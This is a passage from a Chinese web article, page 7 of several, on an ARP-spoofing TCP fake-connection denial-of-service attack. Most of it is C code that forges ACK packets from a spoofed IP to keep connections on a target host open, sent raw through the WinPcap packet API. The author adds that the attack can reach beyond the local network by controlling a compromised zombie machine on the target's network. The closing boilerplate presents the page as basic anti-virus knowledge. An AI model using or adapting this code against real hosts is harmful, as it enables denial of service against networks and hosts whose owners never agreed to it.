首页/杀毒教程/内容

基于ARP欺骗的TCP伪连接D.o.S_ARP原理

杀毒教程2022-11-21 阅读()
5);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

ip_header.m_ttl=128;

ip_header.m_protocol=IPPROTO_TCP;   //高层协议为TCP

ip_header.m_cksum=0;

ip_header.m_sIP=inet_addr(SIMULATE_IP);

ip_header.m_dIP=inet_addr(TARGET_IP);

ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

tcp_header.m_dport=lpTcphdr->m_sport;

tcp_header.m_sport=lpTcphdr->m_dport;

tcp_header.m_seq=lpTcphdr->m_ack;        //序列号为接收到包的ack号

if(lpTcphdr->m_res2_flag==0x12)    //若收到的包是SYN+ACK包, 则ACK号为接收到包的序列号加1

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);  

else      //若收到的包不是SYN+ACK包, 则ACK号为接收到包的序列号加上包的数据部分长度

tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);

tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);

tcp_header.m_res2_flag=0x10;       //设置为ACK包

tcp_header.m_win=lpTcphdr->m_win;

tcp_header.m_cksum=0;

tcp_header.m_urp=0;

psd_header.m_daddr=ip_header.m_dIP;

psd_header.m_saddr=ip_header.m_sIP;

psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

//发送伪造的ACK包:

LPPACKET lpSendPacket;

lpSendPacket=PacketAllocatePacket();     //给PACKET结构指针分配内存

PacketInitPacket(lpSendPacket,sendSynBuf,128);   //初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //设置发送次数

{

printf("Warning: Unable to send more than one packet in a single write!\n");

return;

}

if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)  

{

printf("Error sending the packets!\n");

return;

}

PacketFreePacket(lpSendPacket);   //释放PACKET结构指针

}

}

}

return;

}

void Info()

{

printf("********************************\n");

printf("*    Made by ffantasyYD        *\n");

printf("*    QQ:76889713               *\n");

printf("*    Email:ffantasyYD@163.com  *\n");

printf("*    http://ffantasyyd.126.com *\n");

printf("********************************\n");

}

注:由于以上代码是我测试用的, 因此显得不太便于使用, 很多信息都是我自己去获取后直接写进程序里的, 比如目标主机的MAC地址等, 这些都需要测试者自己修改。 另外, 这种D.o.S存在着一个局限性, 那就是目标主机必须跟我们的主机处于同一个二层网络内。 但是, 我们可以利用一些方法来克服这种局限性, 比如, 我们可以在目标主机的网络内找一台肉鸡, 这样, 我们就只需要控制那台肉鸡进行攻击就行了。


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。



第1页  第2页  第3页  第4页  第5页  第6页  第7页 

……

相关阅读